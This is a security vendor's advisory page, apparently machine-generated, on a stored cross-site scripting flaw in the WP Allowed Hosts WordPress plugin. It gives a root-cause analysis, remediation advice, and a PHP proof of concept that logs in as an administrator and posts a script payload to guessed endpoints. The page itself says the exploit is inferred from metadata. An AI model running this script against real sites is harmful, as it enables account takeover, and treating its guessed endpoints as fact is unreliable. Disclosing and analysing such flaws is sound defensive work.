Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0734: WP Allowed Hosts <= 1.0.8 – Authenticated (Administrator+) Stored Cross-Site Scripting via 'allowed-hosts' Parameter (wp-allow-hosts)

CVE ID CVE-2026-0734
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.0.8
Patched Version
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0734 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WP Allowed Hosts WordPress plugin. The ‘allowed-hosts’ parameter lacks proper sanitization and escaping. Attackers with administrator privileges can inject malicious scripts that execute when users view affected pages. The CVSS score of 4.4 reflects the requirement for administrator access and specific WordPress configuration conditions.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping for the ‘allowed-hosts’ parameter. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description indicates the plugin fails to properly sanitize user input before storing it and does not escape output before rendering. These conclusions are inferred from the CWE classification and vulnerability description, as no source code diff is available for verification.

Exploitation requires an authenticated attacker with administrator-level access. The attacker would submit a crafted payload through the plugin’s administrative interface, targeting the ‘allowed-hosts’ parameter. A typical payload might be alert(‘XSS’) or a more sophisticated JavaScript payload for session hijacking. The injection persists in the WordPress database and executes whenever the affected page loads for any user. The attack surface is limited to multi-site installations or installations where the unfiltered_html capability is disabled.

Remediation requires implementing proper input validation and output escaping. The plugin should sanitize the ‘allowed-hosts’ parameter using WordPress functions like sanitize_text_field() before storage. Output should be escaped with esc_html() or esc_attr() depending on context. WordPress nonce verification should also be implemented for all administrative actions to prevent CSRF attacks. A patch would likely add these security measures to the parameter handling code.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of victim users’ browsers. This can lead to session hijacking, administrative account takeover, defacement, or redirection to malicious sites. The stored nature means a single injection affects all users who view the compromised page. While administrator access is required for initial exploitation, the payload executes for all subsequent visitors, potentially enabling privilege escalation through session theft.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0734 - WP Allowed Hosts <= 1.0.8 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'allowed-hosts' Parameter
<?php
/**
 * Proof of Concept for CVE-2026-0734
 * Assumptions based on vulnerability metadata:
 * 1. The plugin has an administrative interface for managing allowed hosts
 * 2. The 'allowed-hosts' parameter accepts unsanitized input
 * 3. Administrator authentication is required
 * 4. The endpoint likely uses WordPress AJAX or admin-post handlers
 * 5. No nonce verification is present (common in vulnerable plugins)
 */

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'admin';
$password = 'password';

// XSS payload - modify as needed for demonstration
$xss_payload = '<script>alert("Atomic Edge XSS Test - CVE-2026-0734")</script>';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);

$response = curl_exec($ch);

// Check login success by looking for admin dashboard indicators
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Attempt to exploit the vulnerable parameter
// Based on plugin patterns, the endpoint is likely an AJAX handler or admin-post
// We'll try common WordPress plugin patterns
$endpoints = [
    '/wp-admin/admin-ajax.php',
    '/wp-admin/admin-post.php',
    '/wp-admin/options-general.php?page=wp-allow-hosts'
];

foreach ($endpoints as $endpoint) {
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url . $endpoint,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'action' => 'wp_allow_hosts_save',  // Inferred action name
            'allowed-hosts' => $xss_payload,
            'submit' => 'Save Changes'
        ]),
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
    ]);
    
    $response = curl_exec($ch);
    
    // Check for success indicators
    if (strpos($response, 'success') !== false || strpos($response, 'saved') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
        echo "Potential exploitation attempted via $endpointn";
        echo "Payload: $xss_payloadn";
        echo "Check the plugin's allowed hosts page for XSS execution.n";
        break;
    }
}

curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School